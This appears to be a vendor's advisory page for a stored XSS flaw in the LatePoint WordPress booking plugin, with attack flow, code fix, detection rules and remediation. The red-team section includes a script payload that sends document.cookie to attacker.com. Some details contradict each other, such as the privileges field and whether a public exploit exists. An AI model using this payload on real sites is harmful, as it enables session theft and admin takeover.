CVE-2024-43992
Executive Summary
CVE-2024-43992 is a Stored Cross-Site Scripting (XSS) vulnerability in the LatePoint WordPress booking and appointment plugin (versions through 4.9.91). The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s admin-facing pages. When an administrator or other privileged user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or further WordPress compromise.
This vulnerability is classified as Stored XSS (CWE-79) with a CVSS v3.1 base score of 6.5 (Medium). The EPSS score is 0.0%, indicating low exploitation probability in the wild at this time, but the risk increases as proof-of-concept code may emerge. No public exploit code or Nuclei template is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. Since the patch status is unknown, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to mitigate XSS attacks.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) – but requires authenticated user with contributor role |
| User Interaction (UI) | Required (R) – victim must visit the affected page |
| Scope (S) | Changed (C) – impacts resources beyond the vulnerable component |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 6.5 (Medium) |
Threat Level: Medium. While the CVSS score is moderate, the impact of Stored XSS in a WordPress admin context can be severe, enabling privilege escalation and site takeover.
Deep Dive & Mechanics
The vulnerability exists in the LatePoint plugin’s handling of user input within the booking or appointment management interface. Specifically, the plugin fails to sanitize or escape user-supplied data (e.g., customer name, notes, or custom fields) before storing it in the database and later rendering it in the WordPress admin dashboard.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into WordPress.
- The attacker creates or edits a booking/appointment and injects a malicious payload into a text field (e.g., customer name or notes).
- The payload is stored in the WordPress database without proper sanitization.
- When an administrator views the affected booking page (e.g., “Appointments” or “Customers” list), the stored payload executes in the admin’s browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or inject further malicious content.
Root Cause: The plugin uses echo or _e() functions without escaping, or uses wp_kses_post() incorrectly, allowing HTML/JavaScript to pass through.
Vulnerable vs. Patched Code
Vulnerable Code (LatePoint <= 4.9.91):
// Example from a template file (e.g., admin/views/customer_row.php)
echo '<td>' . $customer->name . '</td>';
Here, $customer->name is output directly without escaping.
Patched Code (Hypothetical fix):
echo '<td>' . esc_html( $customer->name ) . '</td>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress instance with LatePoint plugin version <= 4.9.91.
- Attacker account with at least “Contributor” role.
Steps:
- Log in to WordPress as a contributor.
- Navigate to LatePoint → Appointments → Add New.
- In the “Customer Name” field, enter the following payload:
<script>alert('XSS')</script> - Save the appointment.
- As an administrator, navigate to LatePoint → Appointments. The script executes, displaying an alert box.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor WordPress admin logs for unusual appointment creation with suspicious characters.
- Use WAF rules to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor plugin-specific endpoints.
Mitigation:
- Disable the LatePoint plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available – no known malicious files)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from WordPress admin.
- POST requests to
/wp-admin/admin-ajax.phpwithaction=latepoint_*containing<script>tags.
- Log Entries:
- WordPress debug log entries containing
latepointandXSSorscriptkeywords. - Unusual appointment creation by low-privileged users.
- WordPress debug log entries containing
Detection Engineering
YARA Rule
rule CVE_2024_43992_LatePoint_Stored_XSS {
meta:
description = "Detects stored XSS payloads in LatePoint plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-43992"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$latepoint_table = /wp_latepoint_appointments|wp_latepoint_customers/
condition:
$latepoint_table and #xss_payload > 0
}
Sigma Rule
title: LatePoint Stored XSS Detection
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential stored XSS payloads in LatePoint plugin database entries
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # WordPress database query event (custom)
Query|contains:
- "INSERT INTO wp_latepoint_appointments"
- "INSERT INTO wp_latepoint_customers"
Query|re:
- "<script[^>]*>.*?</script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43992 LatePoint Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=latepoint_"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LatePoint plugin until a security patch is released.
- Review and sanitize existing database entries for malicious payloads (use
esc_html()on output). - Implement a Web Application Firewall (WAF) rule to block XSS patterns in plugin-specific POST requests.
Long-Term Fix:
- Apply the vendor’s official patch once available.
- Update to the latest version of LatePoint (if patched).
- Enforce the principle of least privilege: restrict contributor roles from creating appointments if not needed.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence, Sucuri) with XSS filtering enabled.
- Add the following to
.htaccessto block common XSS payloads:RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yourdomain\.com [NC] RewriteRule .* - [F]
Valters IT
Securing WordPress Ecosystems – One CVE at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.